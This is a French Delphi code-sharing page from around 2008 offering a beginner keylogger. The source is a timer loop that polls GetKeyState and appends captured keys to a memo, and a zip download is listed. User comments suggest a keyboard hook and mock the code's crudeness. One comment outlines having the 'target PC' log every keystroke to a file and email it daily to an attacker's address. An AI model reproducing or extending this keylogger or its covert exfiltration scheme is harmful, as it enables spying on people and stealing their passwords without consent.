CodeS-SourceS est hébergé par Frontier.fr

Cliquez ici pour mettre ce site au démarrage de votre navigateur

AccueilCodesTutorielsForumsEmploiLivresConnexion

begin process at 2008 10 11 12:20:07

LE NOUVEAU GOJIRA, C'EST POUR LUNDI. par coq

SHAREPOINT : NOUVEL ARTICLE SUR LA MISE EN PLACE DES SCOPES DANS MOSS SEARCHS par ROMELARD Fabrice

HELLO CS par julz

MSDN/TECHNET/MICROSOFT DAYS TOUR 2008 à LILLE LES 13 ET 14 OCTOBRE ! par redo

MVC PRATIQUE #07 - UN PROJET CONCRET ET LE TRANSFERT DES OBJETS AVEC LES MODELBINDERS par Rui

RE : BIZARRERIE : FORM QUI NE S'AFFICHE PLUS par netboydz

RE : NOMBRE DE FORM DANS LE PROJET par netboydz

RE : FROM UNIT DIFERENTE par netboydz

RE : PROJET SANS FORM par netboydz

+ de logiciels à télécharger

1 259 768 membres
193 nouveaux aujourd'hui
14 408 membres club

Trouver une ressource

Trouvez une ressource parmi 38 821 codes, 1 185 654 messages d'aide etc...

Recherche: dans [ Dernières recherches ]

Filtre:Tous les codes.NET uniquementExclure .NET

Vous ne trouvez pas de réponse à votre problème ? Alors posez la question dans le forum. Souvenez-vous qu'il n'y a jamais de question bête, mais rester dans l'ignorance parce que l'on n'ose pas poser une question, ça c'est une erreur !

SIMPLE PETIT KEYLOGGER

Information sur la source

Catégorie :Texte Classé sous : keyloggeur, enregistreur, frappe Niveau : Débutant Date de création : 07/01/2003 Date de mise à jour : 12/01/2006 02:14:50 Vu / téléchargé: 23 671 / 1 416

Auteur : max12

Site perso

Ecrire un message privé

Ce membre participe au partage de revenus publicitaires

Note :

5,50 / 10

Commentaire sur cette source (7)

Ajouter un commentaire et/ou une note

Description

Voilà une base sur comment faire un Keylogger, mais ce n'est cependant pas parfait du au fait que sa utilise un timer.

Source

procedure TForm1.Timer1Timer(Sender: TObject);
Var pos, c : integer;
begin
//64 = Code ASCII de la lettre 'a', si echap est presser vous le serez
for c:= 1 to 255 do begin;
pos := GetKeyState(c);
If Copy(IntToStr(pos),1,1) = '-' Then begin;
memo1.Text := Memo1.Text + chr(c);
End;
End;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
Var pos, c : integer;
begin
//64 = Code ASCII de la lettre 'a', si echap est presser vous le serez
for c:= 1 to 255 do begin;
        pos := GetKeyState(c);
        If Copy(IntToStr(pos),1,1) = '-' Then begin;
                memo1.Text := Memo1.Text + chr(c);
        End;
End;
end;

Fichier Zip

Pour les "Membres Club", vous pouvez télécharger directement un fichier contenu dans le zip sans télécharger le zip en entier !

Keylogger
- Project1.cfg 386 octets
- Project1.dof 1 048 octets
- Project1.dpr 188 octets
- Project1.res876 octets
- Unit1.~dfm710 octets
- Unit1.~pas761 octets
- Unit1.dcu3 993 octets
- Unit1.dfm710 octets
- Unit1.pas 761 octets

Télécharger le zip

Historique

12 janvier 2006 02:14:50 :: Mot clef

Sources du même auteur

TRAITER LES DONNÉES EFFICACEMENT (WINSOCK)

ENREGISTRER DU SON (PATCHED !)

VOIR LES MOTS DE PASSE

SAISIE SEMI-AUTOMATIQUE

FACTORISATION PREMIÈRE

Toutes les sources de max12

Sources de la même categorie

NETTOYAGE AUTOMATIQUE DE NOMS DE FICHIERS par John Dogget

DISTANCE DE JARO-WINKLER par PoulpHunter

BASE DE DONNÉE WIKI par thithony

DICO ET AIDE MOTS CROISÉE par thithony

CONNAÎTRE LA CASSE D'UN CARACTÈRE par barbichette

Toutes les sources de la catégorie Texte

Commentaires et avis

Commentaire de Bestiol le 07/01/2003 11:43:49

Si tu veux un exemple de keylogger sans timer, il existe celui de nono40 ->sur son site nono40.fr.st côté sources, ou ici : http://www.delphifr.com/article.aspx?Val=1971

Voilà, c'était juste pour info !!
Bonne prog' !
Bestiol.

Commentaire de zappy le 08/01/2003 10:11:26 administrateur CS

J'aime bien tes src d'habitude mais là ct pas la peine de déposer un truc aussi peu élaboré :P

Commentaire de jado le 08/01/2003 11:05:03

Zappy au moins lui il a essayè sois pas mechant
Bon courage Max12 :)

Commentaire de max12 le 08/01/2003 18:15:14 administrateur CS

J'en déposerai des meilleurs quand je coderais mieux ;0

@+

Commentaire de Francky23012301 le 07/08/2005 01:02:04

Si je peux permettre si on a pas l'essentiel de la source ca va être dur de répondre à ta question. Je suis pas un expert en delphi et même en programmation mais de copier des sources un peu partout et de faire un méli mélo je suis pas sur que cela soit la bonne technique ?????????

Je pense qu'il faut mieux bien penser son truc avant. Dites si je me trompe ????

Moi je ferais cela :

Le PC cible enregistre tout ce qui est tapé dans un fichier texte.

Tout les jours à 23h45 par exemple envoye ce fichier par mail à l'adresse dffdfdfdf@fdfddfd.fr en utilisant une adresse ssdsdssd@dsdsds.fr que tu as crée puis effacer tout le contenut du fichier texte.

Je pense pas que cette méthode soit stupide et c'est pas difficile à faire (en tout cas en C++. Delphi je ne sais pas). En 30 minutes ton keylogger est fait.

Commentaire de nethacker le 06/03/2007 12:15:37

enleve les fichier avec l'extention .~*

Commentaire de alextm le 03/06/2007 17:09:26

super évolué le timer . Tu me reproches de poster des codes inutiles ou avec bugs mais ce code là est-il plus interessant ? un keylogger ne se fait jamais comme ca. Tu poses un hook apres tenregistre les keys mais pas de getkeystate()

Ajouter un commentaire

Discussions en rapport avec ce code source dans le forum

émuler une frappe au clavier [ par shakeoff1 ] bonjour,voila je me demandais si par hasard il ne serai pas possible d'émuler un frappe au clavier par une procedure.je sais que cela parait tout a fa Comment détecter les simulations de frappe au clavier ? [ par jeandid ] Bonjour, je suis en train de réaliser actuellement un logiciel permettant de mesurer sa vitesse de frappe.Je voudrais éviter les tricheurs qui utilise Comment simuler la frappe de la touche "copie d'écran"? [ par Caribensila ] Salut!Pour simuler la frappe de la touche "copie d'écran" j'avais essayé avec :Keybd_event(VK_Snapshot,0,0,0);et des tas d'autres trucs de ce style...